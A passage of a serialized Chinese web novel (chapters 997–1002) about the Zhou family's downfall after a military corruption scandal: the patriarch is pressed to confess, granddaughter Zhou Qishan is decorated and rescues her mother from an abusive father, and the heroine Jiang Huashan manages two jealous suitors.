安缇高出莫然半个头,摸着下巴连连点头附和。 “嘶!”雷行倒吸了一口凉气,皱眉紧锁,立马掏出怀中的兵法原地翻书,“少爷这用的又是哪一计啊?” …… 第997章 长江后浪推前浪 军事检察院的办事效率可说是雷厉风行。 赵致远,少将军衔,主管军委内部加密通讯系统的安全维护与日常监督,因涉嫌销毁路迦专线证据确凿,连夜被检察院带兵羁押。 一连三日,军委内部连续有人下马,一时间所有高层惊恐不已,唯恐牵扯到自己。 眼下,除了军委内部乱成一锅粥,周家也是人仰马翻。 “爸?这下可不得了了,不能让秦守岳再这么查下去!”周元白急得满头大汗,焦躁不安地在书房里走来走去。 周元正皱了皱眉:“你说得简单,他秦守岳是什么人?这件事落在他手里,所有人都得扒皮抽筋。” 周元义躲在角落,嗫嚅着嘴,久久不敢出声。 原本还以为自己稳坐钓鱼台的周国潮,终于露出了疲态。 这位在名利场纵横半生的老家主万万没有想到,自己最后一场人生博弈,竟然输给了一个年轻的后辈。 现在周家祸害云乡的证据已被暴露在阳光之下,不仅周家百口莫辩,连同与周家沆瀣一气的军委暗线都可能被连根拔起。 周绮珊这步棋,走得那叫一个不破不立,心志坚定。 就在这一片惶惶之中,书房厚重的雕花木门被无声推开。 风雪裹挟着一道颀长挺拔的身影卷入室内,瞬间冲淡了暖炉烘出的沉闷。 周宴珩立在门口,肩头落着未化的雪,额前碎发微湿,脸色是一种近乎透明的冷白,唯有那双眼睛,黑沉如渊,敛着幽光。 所有人的目光瞬间聚焦在他身上。 周元白:“阿珩!你总算回来了!你知道不知道,阿珊那个死丫头竟然……” “我知道。”周宴珩扯着嘴角笑了笑,带着不容置疑的打断意味,直接越过众人,慢步走到周国潮面前,“爷爷,这事或许还有转机。” 原本把自己缩成鹌鹑的周元义一听这话,两眼发光,立马站了起来:“阿珩!你有办法?” 周元正微微愣了愣,神色复杂。 现在他是越来越看不懂这个儿子了。 周国潮抬眸,眯眼打量了周宴珩片刻,哑声道:“你们几个,都先出去。” 另外三人的目光在周国潮和周宴珩之间转了转,脸色各异,退出了房间。 书房门在身后合拢。炉火的光晕在厚重的羊毛地毯上晃动,祖孙二人的影子投在满墙的书脊上,变得扭曲弯折。 周国潮靠在椅背里,强撑着一口气审视着周宴珩:“说吧,还有什么转机?” 周宴珩踱到壁炉边,伸出手,让炉火的热度驱赶指尖残留的寒意。 跳跃的火光映在他侧脸,明明灭灭,让那平静无波的神情更添几分莫测。 “爷爷,”他缓缓开口,“现在人证物证俱全,连路迦‘上线’都被彻查了,再挣扎也只是白费力气。” 周国潮的眉头皱得更紧:“所以?” “所以,得换一条路走。”周宴珩转过身,目光直直看向周国潮,“认罪。” “认罪?!”周国潮几乎要站起来,眼底爆出厉色,“你是要周家自毁长城?!” “不是周家,”周宴珩纠正,一字一顿,“是您。” 空气仿佛凝固了。炉火噼啪一声爆出个火星,格外刺耳。 “你……你说什么?”周国潮的第一反应已经不是愤怒,难以置信地审视着他。 周宴珩任由他审视,声音冷静得近乎残忍:“云乡的事,您是周家的家主,是名义上最终的话事人。下面的人再怎么胡作非为,说到底,是您‘失察’、‘纵容’,甚至是‘默许’。这个责任,从法理和情理上,您都逃不掉。” “砰——!” 周国潮完全不能接受自己为家族筹谋了一辈子,最后竟然是被抛弃的那个。 他拍案怒起,咬着牙斥道:“狼心狗肺的东西!你是想让我顶下所有的罪,替你们开脱?” 周宴珩微微皱眉:“您为什么这么生气?弃车保帅,壁虎断尾,不都是您教给我们的生存法则吗?云乡的事,您对陈明生他们是怎么动之以情、晓以大义的?怎么轮到自己就不行了?这是权力的规则,做不了永远的上位者就只能被淘汰。您心里应该清楚,我的决定是合理的。” 周国潮紧紧握拳,沉默许久,眼神锐利了几分:“我问你!阿珊递交的资料显示,她收到路迦信件时,路迦已经被陈明生控制了,那份资料,他是怎么发出去的?” 周宴珩眼帘微垂:“您不是已经猜到了?” 周国潮强撑的那口气终究是泄了出去,踉跄着退回了椅子。 “好!好!你们都长大了!我原本还想不通,你好端端的非得把沈家人绑回北湾做什么?还以为是你迷了心窍,现在看来,倒是我老了。” 周宴珩不仅没有安慰,反而顺着这话接了下去:“您是老了,云乡的布局也老了。既然您把周家交托到我手里,我总得为族人谋划一条更好的出路。” 周国潮气得青筋直跳:“你的出路就是亲手葬送自己的爷爷?你凭什么以为我会顺着你安排的路走?我就是不认,你又怎样?” 周宴珩摇了摇头。 在他看来,周国潮这番表现实在失智。 “您又何必说气话呢?现在局势的走向,不正是您所期待的吗?” “我有生之年都没想过,会被自己养大的孩子踢出局!!!” “所以,周家在您手里永远不会强大。” “你……”周国潮捂着胸口,“你给我滚出去!!滚!!!从今以后,周家没有你这个不孝子孙!!!” 周宴珩撩起眼皮,沉默片刻,转身就走。 临到门前,不知想到什么,他忽然停下脚步,转身走到茶台前,沏了一杯热茶,双手递给周国潮。 “滚!”周国潮心绪难平,冷着脸不搭理。 周宴珩倒是不介意,淡淡道:“爷爷,您不是一直都很遗憾周家在军委没有人脉吗?现在,我为周家造出一位星级上将,您难道不开心吗?” 周国潮眼里的怒意瞬间凝固,动荡的眸光一下平静了。 周宴珩:“以身入局,救下垂危之城;大义灭亲,肃清军委沉疴。这样的不世之功,您觉得未来阿珊的前途会止步于哪?别忘了,她也姓周。” 周国潮:“所以,你故意让路迦把那份资料发出去时,就已经料到了今天这一步?” 周宴珩点头:“准确来说,当我猜到路迦的搭档是阿珊之后,才确定了这个局。因为我必须要保证,咬下鱼饵的是自己人。当然,以阿珊的性子,必然不会妥协。我猜这件事解决之后,她会回来争周家的家主之位。不过,这件事爷爷您就不需要操心了。因为将来不管是我赢,还是阿珊赢,周家都不会输。” 这番话让周国潮彻底看清了他养大的孩子。 不得不说,周宴珩的确满足了他对继承人的所有要求:冷静、残酷、权衡利弊。 时代变了,他也老了!该给年轻人腾位置了。 周国潮抬手,接过半凉的茶水,一饮而尽。 “受教了。” …… 第998章 想见你 一日后,鲸港大雪。 一辆黑色的轿车缓缓碾过覆雪的道路,停在了检察院大楼警戒线外的指定区域。 车门打开,周管家双眼红肿,搀扶着周国潮下车。 周国潮摆了摆手,“你们回去吧。” 说罢,便头也不回地走进了风雪里。 * 周国潮投案后的第二天,姜花衫也结束了假期,回到了沈园。 离家这么久,该交代的还是要交代。 她先是去沁园见了沈庄。 沈庄并未责怪,见她安然无恙,问得最多的话题便是假期玩了什么。 爷孙俩一直聊到中午饭后,沈庄才让她回院休息。 菊园一切如常。 张茹早早准备好了柚子叶水,姜花衫刚进门就被她催促着去去晦气。 姜花衫不想张茹每次都这么劳师动众,洗完澡后故意打趣道:“这柚子水一年到头我也没少泡,但也没见有什么用,可见是免疫了。” 张茹明显是听进去了,神情严肃地掏出手机,“我问问,看还有没有什么别的招?” 姜花衫立马拦住她:“我的意思是,我对晦气免疫了。” “你是免疫了,我还没有!” 话音刚落,沈娇怒气冲冲地走了进来。 她穿着一身珍珠白的丝绒长裙,乌发一丝不苟地挽在脑后,露出光洁饱满的额头和一张保养得宜的脸。 姜花衫眼神一变,立马上前挽住沈娇的胳膊,“呀?女王大人怎么来了?” 沈娇哪能不知道姜花衫这点伎俩,“少跟我来这套!你知道不知道,我差点被你吓死!你竟然……竟然……” 张茹识趣,立马退出了房间,关上门。 沈娇这才放开手,没好气地戳了戳她的脑门,“你竟然还有心情跟沈归灵去度假?你……你真是太不争气了,白瞎了你这张脸。外面花花世界这么精彩,你怎么就非得在沈归灵这棵树上吊死?” “……”姜花衫嘴角抽了抽,好像在沈娇眼里,她一直是个色令智昏的形象。 沈娇见她表情讪讪,以为是女孩子脸薄被说到了痛处,只得又耐心解释: “是!我知道,沈归灵的确长得可圈可点,可你也是有过之而无不及啊,你不能被他牵着鼻子走!我可先说好了,S国皇室乌烟瘴气,我是绝对不会同意你远嫁的,那得受多少苦?老爷子也不会同意的!” 越扯越远了。 姜花衫清咳了一声,“没那么严重。” 沈娇以为她不听劝,立马摆正了脸色:“怎么不严重?白家皇室原本是白拉曼和白冽之争,现在突然闹出一个亲王之子,你以为那些皇室之人会善罢甘休?别说王位了,沈归灵就算活着也是如履薄冰,你要是跟着他,苦日子才刚刚开始。” 姜花衫目光微怔。 沈娇这话算是提醒她了。 书灵之前就透露过,《纵横豪情》的剧目原本就是双男主剧情,不管她还是沈家,都不过是整个剧目的前传,沈庄死后,两人才开启他们的制霸之路。 沈娇轻叹了一声,拉过她的手,“别嫌妈妈多事,我是担心你吃亏。” 姜花衫点头,没有争辩:“我知道。放心吧,我可聪明着呢。” * 午后,雪停了片刻,冬日的阳光透过云层,在覆雪的庭院里投下稀薄的光晕。 姜花衫刚小憩醒来,正倚在窗边的榻上翻着一本旧书,头顶忽然覆上一片阴翳。 她抬起头,与一双冰雪初融的目光乍然交汇。 “沈……兰晞?”她合上书,揉了揉眼睛,“你怎么来了?” 沈兰晞上午知道姜花衫归家,下午便赶了回来。 其实也不过一月未见,但偏偏有种恍如隔世的感觉。 他不会说温柔的话,沉吟了半天才开口道:“周绮珊想见你,我来问问你的意思。” “周绮珊想见我?”姜花衫摸了摸下巴,“她现在不是已经达到目的了?见我做什么?” 沈兰晞摇了摇头,拉过旁边的椅子,在她身侧坐下。 与此同时,姜花衫一股脑儿弹跳起身,拍了拍衣摆。 两人的动作几乎是同一时间发生。 对视之后,各自都愣了愣。 姜花衫:“你不是说,周绮珊想见我吗?还愣着干嘛?走啊!” “……”沈兰晞沉默片刻,主动给自己倒了杯花茶,“现在还没到探视时间,可以不用急。” “是吗?”闻言,姜花衫立马又坐了回去。 “你……” 他刚开口,院外忽然传来一阵急促的脚步声。紧接着,院门被人从外头“砰”一声推得撞在墙上! “小花儿!!!” 人未到,声先至。 那声音里带着一股子不管不顾的张扬,瞬间打破了室内的静谧。 姜花衫和沈兰晞同时转头看去。 只见一个高挑的身影裹挟着室外的寒气,大步流星闯了进来。 与沈兰晞的清冷不同,沈清予热烈得就像一簇火焰。 他完全无视了一旁的沈兰晞,俯身凑近姜花衫,仔仔细细扫视了一遍,确认她无恙后,才双手抱胸直起身,语气欠欠:“怎么还长胖了?” “……”姜花衫嘴角抽了抽,“你有事?” 沈清予瞥了沈兰晞一眼,用脚勾来竹椅,坐下后一副大爷模样:“没事,就是想见你。” 沈兰晞端盏的指尖猝然收紧。 …… 第999章 端水大师 “啪——!” 沈兰晞将瓷杯重重搁下,面无表情地站起身,“时间不早了,走吧。” 姜花衫愣了愣,回头看向他,你没事吧? 沈清予掀眸,眼里明显带了几分针锋相对:“沈兰晞,你什么意思?要走你自己不会走?跟谁大呼小叫呢?” “诶诶诶!”姜花衫连忙制止,一脸和蔼看向沈清予:“别吵,这次是有正事。” 沈清予皱了皱眉,“你和他能有什么正事?” 沈兰晞冷哼了一声,直接拿起挂在椅背上的白色斗篷给姜花衫披上。 姜花衫正要解释,忽然感觉肩膀一暖,抬眸见沈兰晞一言不发地在她颈前系了个结,脑子一下有点懵。 这是一下给她干哪去了? “犯不着跟他一个外人解释。”沈兰晞轻声叮嘱了一句,拉着姜花衫就走。 “沈兰晞!”沈清予瞬间炸毛,站起身拦在两人面前,“你说谁是外人?” 沈兰晞冷冷拍开他的手,“顾清予。” 沈清予:“……” 怎么一下就吵起来了?还吵得这么幼稚? “都别吵了!”姜花衫头疼的厉害,赶紧把两人拉开,语重心长跟沈清予解释:“是周绮珊想见我,兰晞哥帮着传话的。” 这种话也只能骗骗三岁小孩。 沈清予皮笑肉不笑地乜了沈兰晞一眼,“原来是这样啊?行啊~那我陪你一块儿去。” 沈兰晞:“313师是军防重地,闲杂人等不得入内。” 姜花衫:“……” 沈清予直接被气笑了。一会儿是外人,一会儿是闲杂人等,沈兰晞真当他是软柿子? “老子……” 眼看事态不对,姜花衫一把甩开沈兰晞的手,对着两人直接比划了一个叉:“停!都别吵了!再吵你们两个现在都出去!!!” 沈清予和沈兰晞微愣,转头看着她。 姜花衫灵机一动:“这样!我见完你的见你的!见完你的见你的!这总行了吧?” 她指尖在两人之间虚晃一圈,沈清予和沈兰晞压根没分清到底谁是谁。 但眼下的场景,两人都不敢说个不字。 因为按照以往的经验,若不见好就收,等姜花衫翻脸,那就是另一番局面了。 沉默片刻,两人目光各自瞥向一边,算是妥协了。 “这就对了咯~” 姜花衫露出欣慰的笑容,指着廊下的座椅,“今天说不准什么时候回来,你要是没事就喝喝茶,有事就先回去。” 沈清予双手插兜,斜倚在门框上,目光在沈兰晞脸上冷冷刮过,才转向姜花衫,不情不愿地“嗯”了一声。 沈兰晞恢复一贯的冰雪之姿,“走吧。” 姜花衫点头,两人一前一后走出菊园。 * 沈园外,一辆黑色的军用越野车早已等候在侧门。车身线条冷硬,挂着普通牌照,却透着一股不容错辨的军旅气息。 见他们出来,高止如临大敌,赶紧下车拉开后座车门,“公主请上车。” 姜花衫愣了愣,不由笑了起来:“这么久的事你怎么还记得?” 沈兰晞侧身,淡淡瞥了高止一眼。高止原本咧开的嘴角瞬间合拢,灰溜溜转回驾驶位。 车厢内一片沉默。 姜花衫心里一直琢磨着周绮珊此番邀约的目的,犹豫片刻,转头看向沈兰晞。 恰是这时,沈兰晞也偏过头,两人同时出声。 “你……” “你……” 沈兰晞反应更快,立即接话:“你想问周绮珊的事?” “嗯。”姜花衫想了想,直接开口道,“周绮珊的事现在应该都查清楚了,她既然不是罪犯,为什么还被留在313师?” 若是以前,她绝不会问出这样的问题。 因为从前的沈兰晞一定会以“军务机密”回绝她。 但既然周绮珊自愿留在313师,说明她在审讯期间受到了很好的保护,也说明沈兰晞读懂了她的暗示。 沈兰晞:“她不是被扣押。作为云乡案件的关键知情人,她现在的安全尤其重要。总局问过她的意思,她个人表示希望由313师提供保护。” “原来如此。”姜花衫点了点头,“对了,你刚刚想问我什么?” 沈兰晞顿了一下,目光又转回她的脸上。 他想问的其实很多。 想问她在北湾到底经历了什么?想问她跟沈归灵去了哪里? 但这些话在舌尖滚了一圈,最终还是被咽了回去。 “没什么。” * 车子朝着鲸港东北方向的郊区开去。 道路逐渐宽阔,车辆减少,两旁开始出现成片的防风林和挂着冰凌的枯草。 约莫四十分钟后,前方出现一道戒备森严的岗哨,巨大的“军事禁区”标志牌赫然在目。 越野车减速,停在第一道检查站前。 身着军大衣、荷枪实弹的哨兵走上前。沈兰晞降下车窗,递出证件。哨兵仔细核对证件与车内人员,又与内部通讯确认后,立正敬礼,挥手放行。 车辆缓缓驶入禁区。 内部道路笔直开阔,远处隐约可见成排的营房和训练设施,空气中弥漫着一种不同于市区的肃穆与冷冽。 姜花衫透过车窗,好奇地打量着眼前的环境:“这里就是赫赫有名的第313师驻地?” 沈兰晞未答,只先一步下车,绕到另一侧为她拉开车门,同时递上一只手。 姜花衫迟疑片刻,搭上他的手臂,弯腰下车。 “在这等我。” 雪地路滑,沈兰晞确认她站稳后,转身走向身后的大楼,完成身份核验和登记手续,又折返回来。 “周绮珊暂时被安排在这里配合调查,相对独立,也便于安保。”他低声解释了一句,引着姜花衫走进楼内。 楼道里光线有些昏暗,弥漫着旧式建筑特有的尘土与消毒水混合的气味。脚步声在空旷的走廊里回响。 两人上了二楼,在一扇装有观察窗的金属门前停下。 一名穿着军装的中年男子等在那里,见到沈兰晞,点了点头。 “沈少尉,姜小姐。周绮珊在里面,请。”他的声音刻板,公事公办。 沈兰晞颔首,转身小声叮嘱:“我就在外面,有什么事随时叫我。” 姜花衫点头,正要推门,沈兰晞轻轻拉住她的手腕。 “你已经做得很好了。”他看着她,声音低缓带着一丝不易察觉的温柔:“如果她跟你想的不一样,不要觉得难过。” …… 第1000章 被光照亮过的小孩 室内的光线比走廊更显冷清,只有一扇装着栏杆的高窗。 房间陈设极其简单,一桌,两椅,除此之外别无他物。 周绮珊穿着一件深灰色的高领毛衣,双手交叠,仰望着高窗里透进的天光。 她的头发长长了许多,绑成了一股辫子梳在脑后,这样的她比从前更添几分女性特有的柔和。 姜花衫原本还想着沈兰晞那突如其来的温柔,推门看见这样的周绮珊,心里那点隐隐的不安瞬间烟消云散。 眼下,她还有更重要的事情要做。 听到开门声,周绮珊缓缓侧过头。目光与姜花衫相遇的瞬间,眸底那片看似平静的湖面,漾开了一圈极细微的涟漪。 “你来了。”周绮珊率先起身,做了个请的手势,“坐。” 姜花衫走到周绮珊对面的椅子坐下,神色轻松:“听说,你指名要见我?” 周绮珊点头,眼神真挚:“这段时间承蒙姜小姐照顾,事情已经尘埃落定,我觉得有必要和你交代一声。” 姜花衫笑了笑,“原来是这样。那,你打算怎么给我交代?” 周绮珊:“检察院那边传来消息,爷爷已经认罪了。不仅是他,联合周家在云乡斩断长官生路的军委‘上线’也已一并厘清,供认不讳。依照这个情况,军政内部必然会重整纪律,云乡的黑暗将不复存在,长官和所有同袍都将被追封荣耀。” 她顿了顿一下,继续说道:“还有我……军委总局那边颁布文件,将授予我‘一等功勋’,擢升三星上尉。” “三星?”姜花衫面色如常,“那岂不是比沈兰晞的军衔还高一等?恭喜啊!” 闻言,周绮珊脸上并未露出多少喜色。她放在膝上的双手指尖几不可察地蜷缩了一下,随即又松开。 “我知道,云乡背后罪孽深重,我也知道长官和那些牺牲的同袍们都在等一个公平,但……”她停顿了许久,声音极轻,“我不能……我不能眼睁睁看着生我养我的大船沉没。” 周绮珊眼里始终有光,即使带着愧意,看着姜花衫的眼神也不容动摇。 “在我眼里,周家的罪孽不是因为他姓周,而是周家有一个不称职的领路人。所以要解决这个问题,核心不是击毁大船,而是换个领路人。我知道,我这么说,你可能会觉得我卑鄙,但我……” “我的爷爷……”姜花衫并未评判,直接出声打断了她: “我的爷爷是个很念旧的人,很久以前他就告诉过我一个道理:东西坏了,不要急着换新的,先试试能不能修。” “他也的确是这么做的。所以每当他发现‘东西坏了’的时候,他总会第一时间去修补。虽然他的努力在外人看来多少有些讽刺,因为大多漏洞总是冥顽不灵,缝缝补补后依旧是个‘坏东西’,可我却从没觉得爷爷是错的。” “因为如果不是爷爷喜欢‘修补’,一个恶毒又不听话的小孩,第一时间就会被换掉。她永远不会有机会看清这个世界。” 姜花衫回眸,眼里的坚韧比之周绮珊有过之而无不及。 “被光照亮过的小孩,也不会故意引人走向毁灭。她只是觉得,如果这个世界权力失衡是常态,那么,就想办法让这些权力握在有底线的人手中。” 所以那个小孩才会跟沈归灵说,自己不会失望。 因为,她想要的从来不是颠覆某个家族,她想要的只是改变权势的格局。 而周绮珊,就是她选中的周家继承人。 周绮珊听完这一席话,眼里的坚毅碎得七零八落。 她一直以为,姜花衫谋划这一切,就是想替沈家除去周家这个眼中钉,彻底巩固沈家在A国的势力。 可直到这一刻,她才明白自己有多小看姜花衫,也终于深切体会到,为什么骄傲如苏妙,在走投无路的时候只愿意相信姜花衫。 周绮珊轻叹了一声,终于卸下了所有心防。她看着眼前与她同岁的少女,好奇心达到了顶峰。 “我们明明没有交集,你为什么相信我?” 现在回过头看这一切,姜花衫必然是早就知道周家的所作所为,可她并未事先揭发,而是给她和周家都留了一条后路。 那当然是因为她有外挂啊。 剧目盖章的正义人物,在大是大非面前,沈兰晞都未必有周绮珊靠谱。 姜花衫不欲解释,高深莫测地摆了摆手。 “这种事要都说出来可就没意思了,还以为你要跟我说什么,害得我巴巴赶过来。行了,你也不用跟我交代,跟你自己交代就行了。” 见她起身要走,周绮珊立马跟着站了起来。 “还有一件事。” 姜花衫侧身,偏头打量她。 周绮珊收敛神色,深鞠一躬。 姜花衫:“这又是为了什么?” 周绮珊直起腰身:“我的母亲,谢谢你救了她。” “哦,这事啊?”姜花衫像是想起什么,摇了摇头,“不用谢。不是我救的她,是你救的她。” 周绮珊微愣:“我?” “嗯。你还不知道吧,你母亲还手了,在你父亲用脚踢掉了你墓前的白玫瑰的瞬间。她发了疯似的追着你父亲打了一条街,你父亲觉得丢脸,所以传出了相反的版本。” 周绮珊完全没想到事情还有这样的反转,眼神里写满了难以置信。 姜花衫:“死了都能为你拼命,如果知道你还活着,必不会再负。所以我才会在最后关头选择她。但前提是,她为了你反抗过。” “走了。”她摆摆手,姿态潇洒得不像话。 房间内重归寂静,只剩下高窗投下的那片清冷天光。 周绮珊在原地站了许久。等回过神时,泪水已经模糊了脸颊。 她没有去擦,只是挺直了背脊,像一杆永不弯曲的标枪。 “谢谢。” …… 第1001章 落子无悔 周家的权柄之战仅仅只用了半个月就落下了帷幕。 这场庭审涉及A国高层机密,审议过程完全保密,只对外公布了最终决议。 军事法院认定周国潮作为周氏家族家主及实际最高决策者,对“霍乱地方政权”、“谋杀一星上将”、“组织涉黑活动”、“系统性贿赂高级军官”等指控负有最终指挥及主要受益责任,数罪并罚,判处周国潮无期徒刑,并处以巨额罚金。 周家律师团立即以周国潮年事已高,患有严重心脏疾病为由,申请监外执行。 在A国,财团核心人物因病避免实际入狱的情况屡见不鲜,周国潮并非首例。最终,他未被收监,而是被软禁于周家名下的一处高级私人疗养院。 这消息一出,瞬间点燃了压抑已久的民意。 网络率先沸腾。 #无期徒刑?豪华疗养院的无期徒刑吗? #“正义再次为财富让路!” #“一星上将的命,只值一座高级养老院的门票?” 无数尖锐的讽刺与质问,以爆炸性的速度席卷各大社交平台。 这民意看似是讨伐周国潮,其实不然,这是在讨伐A国的所有特权。 一旦高层松口,便等同于断了自己的后路。所以,这次不管民意如何汹涌,包裹着司法外衣的特权们也只是装聋作哑。 “失望吗?” 绣楼里春意盎然,姜花衫摆弄着桌上的花草问苏妙。 苏妙将平板轻轻搁在一旁,指尖无意识地拂过光滑的屏幕边缘。 她转头,望向窗外被大雪覆盖的茫茫严冬,眼神清澈而坚定:“失望。所以,我更加知道自己要走什么样的路了。” “那就好。”姜花衫笑了笑,将一支开得正好的玫瑰插入花瓶里。 苏妙眼神微动,转眸看向她:“那你呢?失望吗?” 姜花衫想了想,没有回答。 * 黑色的军用越野车悄无声息地驶入疗养院隐蔽的侧门。 高耸的绿植与精巧的景观设计,将外界的视线与喧嚣彻底隔绝。 周绮珊在司机的陪同下走向主楼。 她扎着低马尾,穿着黑色夹克大衣,步伐稳健,与周围刻意营造的闲适疗养氛围格格不入。 门口的安保人员显然早已得到通知,将她引至三楼一间朝南的套房。 门开着,里面光线充足。房间的陈设更像是顶级酒店的套房而非病房。 周国潮背对着门,坐在一张宽大的扶手椅里,正望着窗外出神。 他看起来比之前清瘦了些,侧脸的轮廓愈发嶙峋,花白的头发梳得整齐。 周绮珊在距离他几步远的地方站定,“爷爷。” 周国潮缓缓转过身。 两人之间隔着一张小小的茶几,上面放着一套精致的白瓷茶具,还有一副未下完的围棋。 老人点了点头,语调寻常:“怎么没有穿军装来?听说,你现在已经是三星上尉了。” 周绮珊:“我以为爷爷不会想到那样的我。” 周国潮沉默片刻,指着身旁的残局:“陪爷爷把它下完?” 周绮珊依言坐下,目光落在棋盘上。 黑白棋子交错,战局已至中盘。白棋占优,但黑棋在边角伏有凌厉的后手,胜负远未分明。 她没有客气,执起一枚黑子,略一沉吟,落在了一处看似平淡无奇的位置。 周国潮目光随着周绮珊的落子转动,枯瘦的手指捻起一颗白子…… 房间里静得只剩下棋子与棋盘接触时清脆的微响。 几手过后,周国潮忽然开口:“外面……还是有很多人吗?” 周绮珊指尖微顿,随即稳稳落子:“是。” 周国潮的目光停留在胶着的棋面上,问得随意:“你恨爷爷吗?” 周绮珊落子的手瞬间僵住,刚抬眸,便与周国潮的目光相撞。 “哎……” 后者轻叹了一声,将手里的棋子丢回棋篓,“算了,不下了,你回去吧。” “……”周绮珊看着眼前胶着的局面,犹豫片刻,站起身,“您保重。” 她走向门口,指尖触到了冰凉的门把时—— “阿珊。”周国潮的声音在她身后响起。 周绮珊的动作停住了。 她没有回头,只是静静地站在那里。 房间里静得能听到窗外雪花飘落的细微声响。 周国潮沉默了几秒,缓缓道: “棋局上有一句老话,叫‘落子无悔’。既然你已经选择了自己的路,就永远不要回头。” 周绮珊的脊背几不可察地绷紧了一瞬。她没有回答,握着门把的手指微微收紧。 片刻后,她极轻地吸了一口气,压下喉头莫名的哽塞。 拉开房门的瞬间,门外走廊的光线涌了进来,将她挺直的背影勾勒出一道清晰的剪影。 “咔哒”一声轻响,房门被轻轻带上。 门内门外,两个世界。 * 周国潮扶着手椅重新坐下,目光投向眼前的棋盘。 这局棋,一共换了两人执手。 在周绮珊之前,周宴珩已经来过。 那一局,周宴珩执白,周国潮执黑。棋局未定,两人同时收手。 等到周绮珊接盘时,周国潮对调了阵营,让周绮珊接了他的棋面,而他则利用周宴珩的残局试探周绮珊。 如今,黑棋已成败势。 周国潮枯瘦的手指缓缓拂过光滑的棋子。他仿佛能透过它们触摸到两个孙辈截然不同的心性。 周宴珩像淬毒的冰刃,华丽、危险、为达目的不择手段。他能一眼看穿对手的弱点,并毫不犹豫地施以最有效的打击。 这是枭雄的棋,充满侵略性与不确定性。 周绮珊则像经过锤炼的青铜剑,厚重、坚实、锋芒内敛,却自有其不可摧折的韧性。 她有周宴珩所没有的“藏拙”。她破局靠的不是诡道,而是积蓄力量后的正面突破,以及关键时刻不惜自身的决绝。 这是将才的棋,虽然开拓不足,但守成……或许更为可靠。 但论智谋手段,周绮珊不如周宴珩。 周国潮望着棋盘,又叹了口气:“罢了……” 他缓缓靠进宽大的扶手椅中,闭上了眼睛。枯瘦的手指在柔软的羊毛毯上,无意识地叩击着想象中的鼓点。 “猛听得金鼓响画角声震,唤起我破天门壮志凌云……” —【爷爷,您那么喜欢看戏,那么喜欢戏折子里的大英雄,为什么就不能让我尽兴演一次呢?】 “想当年桃花马上威风凛凛,敌血飞溅石榴裙……” —【求爷爷成全!】 “有生之日责当尽,寸土怎能够让他人!番王小丑何足论,我一剑能挡百万兵……” 罢了!爷爷就送你一场好戏。 …… 第1002章 净身出户 也不知是谁走漏了消息,周绮珊的车刚驶出疗养院外围的林荫道,就被抗议的人群围住了。 他们群情激愤,高举着抗议牌,对着车辆又踢又踹。 “长官,怎么办?” 周绮珊看着眼前汹涌的人潮,脸上没有一丝慌乱:“慢慢滑行,不要跟他们起冲突。” 车子缓缓驶过人群边缘,周绮珊她隔着一层单向玻璃,与无数道目光对视。 那些人的眼睛里充满了冰冷的审视、不解,或许还有愤怒。 虽然是她亲手将周家的罪证送上,但因为她姓周,又因为周国潮那“豪华软禁”的特权结局,A国民众谈起她,也是又爱又恨,滋味复杂。 车子终于驶离人群,快速起步。 半小时后,周绮珊出现在了周元义的豪宅前。 三岁离家,对这里几乎没有任何属于“家”的印象。 “你个丧门星!生不出儿子就算了,还养了个没心没肺的赔钱货!现在周家被她害惨了!我以后更抬不起头了!” 周绮珊刚踏进主厅,就看见周元义拿着一根皮鞭,指着瑟缩在沙发角落的徐文佩气急败坏地咒骂。 家里的佣人对此早已习以为常,只敢远远看着,不敢上前劝解。 “上次的事老子还没跟你算账,看我今天不打死你!” 周元义穿着家常的羊绒衫,却因暴怒而面目扭曲,早已没了平日刻意维持的儒雅风度。 周绮珊越过一地狼藉,就在鞭梢即将再次落下徐文佩瑟缩的肩背时,她稳稳抬手,掌力如铁钳般扣住了周元义的手腕。 “!” 周元义猝不及防,痛呼被扼在喉间。愕然转头,突兀对上周绮珊冰冷的眼睛。 没等他回神,周绮珊已然夺过皮鞭,反手一挥! “啊——!” 鞭子结结实实抽在周元义身上,他痛得跳脚,羊绒衫下的身躯狼狈踉跄。 周元义先是错愕,随即暴跳如雷:“你个逆女?!你竟敢打老子?别以为你当个什么官就了不起!信不信我去军委告你殴打生父?!” 周绮珊却像没听见他的咆哮,甚至没再多看他一眼,她转身走向蜷在沙发里的徐文佩。 “妈,313师给我分配了军官指标房。两室一厅,朝南,有阳台。”她顿了顿,注视着母亲眼中渐渐聚起的一点微弱光亮,“您愿意……跟我走吗?” 徐文佩穿着素净的毛衣,听闻女儿有了依靠,原本红肿的眼睛瞬间噙满了泪水。 “嗤!”周元义在一旁冷笑,“还以为你有多大能耐?出卖家族就换了一套房?你那房子还不如周家一个厕所!你凭什么觉得她会跟你走?” 周绮珊蹲下身,紧紧握住徐文佩颤抖的手,声音轻柔却坚定:“那是军队的家属楼,绝对安全。以后再也没有人可以随意欺辱你了。妈妈,我现在可以成为你的依靠了,你不用再害怕连累我。” 徐文佩那双总是盛满怯懦和忧愁的眼睛里,此刻翻涌出一丝极其微弱的希冀。 “真的吗?” “你可别被她骗了!”周元义双手抱胸,语气刻薄,“这些年,你吃我的用我的,我对你也算仁至义尽!你要是敢出去,咱们就离婚,你一个子都别想拿到!” 在周元义的认知里,徐文佩就是个任人宰割的愚妇,多年的打压早已磨灭了她的反抗之心,所以他认定她不敢反抗。 徐文佩却像是没听见他的话,极其缓慢地、又异常坚定地点了点头。 “好,妈妈跟你走。” 周元义如遭雷击,呆立当场。 “反了!真是反了天了!” 他气急败坏地冲上前,试图隔开母女二人,见毫无作用后又指着周绮珊的鼻子骂道:“你想干什么?撺掇你妈离家出走?周绮珊,你别以为你现在翅膀硬了!她还是我周元义的妻子!是周家的人!你想带她走?休想!” 周绮珊这才缓缓转过头,正眼看向暴怒的父亲:“妻子?这些年,你尊重过她吗?拿她当妻子对待过吗?” “你少废话!”周元义脸色由红转青,“你是周家的叛徒,以后怎么死的都不知道!她跟着你也是自寻死路!” 周绮珊面无表情地举起了手里的鞭子。 周元义脸色骤变,吓得连连后退:“你想干什么?!” 周绮珊:“我现在是军委里最年轻的三星上尉,年后就要升任313师总营指挥官。周家现在声名狼藉,若想保住根基,必然要依附我的功勋。大伯现在都不敢这么跟我说话,你又凭什么?” 周元义神情一愣,显然是没想到这一层,却仍嘴硬道:“就凭我是你老子!” “老子?”周绮珊看了看手里的鞭子,眼里闪过一抹寒光,“外头都说我跟周家演戏博取功勋。我今天就打死你,自证清白。” 话音刚落,鞭子便带着破风声落下,不偏不倚,狠狠抽在周元义刚才试图指人的胳膊上。 “啊——!!” 周元义痛得惨叫一声,整个人像被烫到一样弹跳起来。 “你……你敢……” 